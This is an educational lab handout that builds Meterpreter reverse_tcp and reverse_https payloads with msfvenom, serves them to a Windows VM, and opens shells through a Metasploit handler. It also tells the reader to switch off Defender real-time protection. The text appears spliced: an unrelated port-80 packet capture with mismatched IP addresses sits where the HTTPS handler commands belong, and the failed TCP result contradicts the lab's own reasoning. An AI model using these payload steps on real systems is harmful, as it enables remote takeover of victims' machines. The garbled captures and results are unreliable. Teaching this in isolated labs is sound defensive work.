

Experiment 6: Creating and Executing a Custom Payload on a Windows Machine

Lab 1: Reverse TCP vs Reverse HTTPS — Why Port Choice Matters

Goal: Compare how **reverse_tcp** vs **reverse_https** behave on a Windows 10 VM with the **default Windows Firewall policy** (block inbound, allow outbound), and what you see in Wireshark.

Topology

Role	Host	IP	Notes
Attacker	Kali Linux	192.168.102.132	Listener/handler
Victim	Windows 10 VM	192.168.102.142	Host-only network, Firewall ON

On Windows (victim) — prerequisites

1. Confirm Firewall is **ON**: **Settings** → **Windows Security** → **Firewall & network protection** → Domain/Private/Public = On
2. Disable Defender real-time protection (same as your Experiment 6 setup) so the payload executes
3. Remember the default policy: **block all inbound, allow all outbound**

Part 1 — Baseline: reverse connections are outbound

This establishes that “reverse” payloads initiate connections **from Windows** → **Kali**, so the default firewall does not block them by direction alone.

Step A — Generate payloads (on Kali)

1) Reverse TCP (typical port: 4444)

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.102.132 LPORT=4444 -f exe -o tcp_shell.exe
```

2) Reverse HTTPS (typical port: 443)

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.102.132 LPORT=443 -f exe -o https_shell.exe
```

Step B — Host the files (on Kali)

```
python3 -m http.server 8080
```

Step C — Download and execute (on Windows)

Open a browser on Windows and download both files from:

- <http://192.168.102.132:8080/>

Scenario 1 — Start the TCP handler (on Kali)

```
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.102.132
set LPORT 4444
exploit
```

Execute on Windows

Run `tcp_shell.exe` and wait for a session.

Observed result: Handler sits waiting; session does not open. ❌

Scenario 2 — Start the HTTPS handler (on Kali)

```
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=396315 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=397775 Ack=7880 Win=64128 L<
10.16.4.18 10.16.4.192 TCP 54 49269 -> 80 [ACK] Seq=7880 Ack=399235 Win=65536 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=399235 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=400695 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=402155 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=403615 Ack=7880 Win=64128 L<
10.16.4.18 10.16.4.192 TCP 54 49269 -> 80 [ACK] Seq=7880 Ack=405075 Win=62720 L<
10.16.4.18 10.16.4.192 TCP 54 [TCP Window Update] 49269 -> 80 [ACK] Seq=7880 Ack<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=405075 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=406535 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=407995 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=409455 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=409455 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=412375 Ack=7880 Win=64128 L<
10.16.4.18 10.16.4.192 TCP 54 49269 -> 80 [ACK] Seq=7880 Ack=413035 Win=62720 L<
10.16.4.18 10.16.4.192 TCP 54 [TCP Window Update] 49269 -> 80 [ACK] Seq=7880 Ack<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=413035 Ack=7880 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 310 80 -> 49269 [PSH, ACK] Seq=416755 Ack=7880 Win=641<
10.16.4.18 10.16.4.192 TCP 54 49269 -> 80 [ACK] Seq=7880 Ack=417011 Win=65536 L<
10.16.4.18 10.16.4.192 TCP 430 49269 -> 80 [PSH, ACK] Seq=7880 Ack=417011 Win=655<
10.16.4.192 10.16.4.18 TCP 60 80 -> 49269 [ACK] Seq=417011 Ack=8264 Win=64128 L<
10.16.4.18 10.16.4.192 TCP 190 80 -> 49269 [PSH, ACK] Seq=417011 Ack=8264 Win=641<
10.16.4.192 10.16.4.18 TCP 4902 49269 -> 80 [PSH, ACK] Seq=8264 Ack=417155 Win=655<
10.16.4.192 10.16.4.18 TCP 60 80 -> 49269 [ACK] Seq=417155 Ack=13112 Win=61560 L<
10.16.4.192 10.16.4.18 TCP 102 80 -> 49269 [PSH, ACK] Seq=417155 Ack=13112 Win=6<
10.16.4.18 10.16.4.192 TCP 246 49269 -> 80 [PSH, ACK] Seq=13112 Ack=417283 Win=6<
10.16.4.192 10.16.4.18 TCP 60 80 -> 49269 [ACK] Seq=417283 Ack=13304 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 190 80 -> 49269 [PSH, ACK] Seq=417283 Ack=13304 Win=6<
10.16.4.192 10.16.4.18 TCP 214 49269 -> 80 [PSH, ACK] Seq=13304 Ack=417427 Win=6<
10.16.4.192 10.16.4.18 TCP 60 80 -> 49269 [ACK] Seq=417427 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=418087 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=420347 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=421807 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=423267 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=424727 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=426187 Ack=13464 Win=64128 L<
10.16.4.192 10.16.4.18 TCP 1514 80 -> 49269 [ACK] Seq=427647 Ack=13464 Win=64128 L<
```

```
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.102.132
set LPORT 443
exploit
```

Execute on Windows

Run `https_shell.exe`.

Observed result: `Meterpreter session 1 opened` — without changing the firewall. ✓

10.16.4.18	10.16.4.192	TLSv1.2	212 Client Hello
10.16.4.192	10.16.4.18	TCP	60 443 -> 49260 [ACK] Seq=1 Ack=159 Win=64128 Len=0
10.16.4.192	10.16.4.18	TLSv1.2	1473 [Server Hello, Certificate, Server Key Exchange, Server Hello Done
10.16.4.18	10.16.4.192	TCP	54 49260 -> 443 [ACK] Seq=159 Ack=1420 Win=64256 Len=0
10.16.4.18	10.16.4.192	TLSv1.2	236 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
10.16.4.192	10.16.4.18	TCP	60 443 -> 49260 [ACK] Seq=1420 Ack=341 Win=64128 Len=0
10.16.4.192	10.16.4.18	TLSv1.2	161 Change Cipher Spec, Encrypted Handshake Message
10.16.4.18	10.16.4.192	TCP	54 49260 -> 443 [ACK] Seq=341 Ack=1527 Win=65536 Len=0
10.16.4.18	10.16.4.192	TLSv1.2	523 Application Data

Reverse TCP vs Reverse HTTPS (summary)

Feature	Reverse TCP	Reverse HTTPS
Protocol	TCP	HTTPS over TLS
Typical port	4444 (or any)	443
Connection direction	Victim → Attacker	Victim → Attacker
Initial packets	TCP 3-way handshake	TCP handshake + TLS handshake

Feature	Reverse TCP	Reverse HTTPS
Encryption	✗ None	✓ TLS
Wireshark appearance	Plain TCP streams with visible/recognizable data	TLSv1.x handshakes + encrypted Application Data
Detection / inspection	Easier to inspect content	Harder to inspect (payload encrypted after TLS)
Stealth	Lower (unusual port/clear data)	Higher (resembles normal HTTPS)

What to look for in Wireshark

Reverse TCP (visual pattern)

```

<victim IP>  ——— TCP ———> <attacker IP>
              DATA
          Payload potentially visible

```

Reverse HTTPS (visual pattern)

```

<victim IP>  ——— TLS/HTTPS ———> <attacker IP>
              TLS Handshake
                ↓
          Encrypted Application Data

```

Key takeaway (student-friendly)

Reverse TCP establishes a direct TCP connection and sends data without TLS encryption, whereas **Reverse HTTPS** establishes a TCP connection followed by a TLS handshake, encrypting subsequent communication.

Most important Wireshark difference: HTTPS shows Client Hello → Server Hello → Certificate → Application Data, while TCP shows ordinary TCP segments carrying the communication data.